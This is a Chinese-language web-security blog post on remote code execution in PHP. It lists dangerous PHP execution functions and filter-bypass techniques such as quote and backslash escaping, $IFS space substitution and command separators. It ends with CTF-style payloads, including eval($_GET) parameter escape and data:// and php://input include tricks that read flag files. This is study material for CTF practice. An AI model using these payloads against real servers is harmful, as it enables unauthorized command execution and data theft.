WEB安全-常见的RCE以及ByPass

常见的RCE以及ByPass

一、RCE漏洞

远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

原理:服务器没有对执行命令的函数进行过滤,导致命令被执行。

 

二、常见的命令执行函数

PHP代码执行函数

eval()
assert()
preg_replace()
create_function()
call_user_func()
file_get_contents():将整个文件读入一个字符串
readfile():读取文件并写入到输出缓冲
scandir():列出指定路径中的文件和目录
direname():给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名
getcwd():取得当前工作目录
chdir($directory):将 PHP 的当前目录改为 directory
get_defined_vars():获取一个环境变量的值
phpversion():获取当前的PHP版本
chr():返回指定的字符
rand():产生一个随机整数
time():返回当前的 Unix 时间戳
localtime():取得本地时间
localtime(time()) 返回一个数组,Array [0] 为一个 0~60 之间的数字
hex2bin():转换十六进制字符串为二进制字符串
ceil():进一法取整
sinh():双曲正弦
cosh():双曲余弦
tan():正切
floor():舍去法取整
sqrt():平方根
crypt():单向字符串散列hebrevc:将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符
ord:返回字符串的第一个字符的 ASCII 码

 

命令执行函数

eval()、system()、shell_exec()、popen()、proc_popen()、passthru()、pcntl_exec()

 

常见的bypass

 

1.替换法
使用同意思字符串代替

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
sort:可以查看

 

 

2.进行转义

cat flag ->ca\t fl\ag
cat flag -> ca"t flag 
cat flag -> ca't flag

 

3.进行拼接 

a=fl;b=ag;catI F S IFSIFSa$b

4.空变量∗ 和 *和@,x , x,x,{x}绕过

5.反引号绕过

 

过滤空格

<> (cat<>flag)
%20(space)
%09(tab) (cat%09flag.php)
$IFS$9
${IFS}
$IFS
(cat,flag)

 

过滤分隔符

; //分号
| //执行右边命令
|| //执行前面命令
& //都执行

 

 

无回显利用
1、直接写个文件访问查看
2、直接进行对外访问接受

#白盒-CTF-RCE代码命令执行
29-通配符
system('tac fla*.php');
30-取代函数&通配符&管道符
`cp fla*.ph* 2.txt`;
echo shell_exec('tac fla*.ph*');
31-参数逃逸
eval($_GET[1]);&1=system('tac flag.php');
32~36-配合包含&伪协议
include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
37~39-包含RCE&伪协议&通配符
data://text/plain,<?php system('tac fla*');?>
php://input post:<?php system('tac flag.php');?>

 

发表回复

电子邮件地址不会被公开。必填项已用 * 标注